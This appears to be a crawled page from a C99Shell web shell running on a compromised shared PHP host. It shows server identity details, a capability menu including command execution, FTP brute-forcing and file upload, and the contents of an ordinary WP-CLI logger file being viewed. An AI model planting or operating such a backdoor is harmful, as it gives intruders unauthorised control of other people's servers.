!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/php/WP_CLI/Loggers/   drwxr-xr-x
Free 672.4 GB of 879.6 GB (76.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Base.php (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\Loggers;

use cli\Colors;
use WP_CLI;
use WP_CLI\Runner;

/**
 * Base logger class
 */
abstract class Base {

    protected $in_color = false;

    abstract public function info( $message );

    abstract public function success( $message );

    abstract public function warning( $message );

    /**
     * Retrieve the runner instance from the base CLI object. This facilitates
     * unit testing, where the WP_CLI instance isn't available
     *
     * @return Runner Instance of the runner class
     */
    protected function get_runner() {
        return WP_CLI::get_runner();
    }

    /**
     * Write a message to STDERR, prefixed with "Debug: ".
     *
     * @param string $message Message to write.
     * @param string|bool $group Organize debug message to a specific group.
     * Use `false` for no group.
     */
    public function debug( $message, $group = false ) {
        static $start_time = null;
        if ( null === $start_time ) {
            $start_time = microtime( true );
        }
        $debug = $this->get_runner()->config['debug'];
        if ( ! $debug ) {
            return;
        }
        if ( true !== $debug && $group !== $debug ) {
            return;
        }
        $time   = round( microtime( true ) - ( defined( 'WP_CLI_START_MICROTIME' ) ? WP_CLI_START_MICROTIME : $start_time ), 3 );
        $prefix = 'Debug';
        if ( $group && true === $debug ) {
            $prefix = 'Debug (' . $group . ')';
        }
        $this->_line( "$message ({$time}s)", $prefix, '%B', STDERR );
    }

    /**
     * Write a string to a resource.
     *
     * @param resource $handle Commonly STDOUT or STDERR.
     * @param string $str Message to write.
     */
    protected function write( $handle, $str ) {
        fwrite( $handle, $str );
    }

    /**
     * Output one line of message to a resource.
     *
     * @param string $message Message to write.
     * @param string $label Prefix message with a label.
     * @param string $color Colorize label with a given color.
     * @param resource $handle Resource to write to. Defaults to STDOUT.
     */
    protected function _line( $message, $label, $color, $handle = STDOUT ) { // phpcs:ignore PSR2.Methods.MethodDeclaration.Underscore -- Used in third party extensions.
        if ( class_exists( 'cli\Colors' ) ) {
            $label = Colors::colorize( "$color$label:%n", $this->in_color );
        } else {
            $label = "$label:";
        }
        $this->write( $handle, "$label $message\n" );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0175 ]--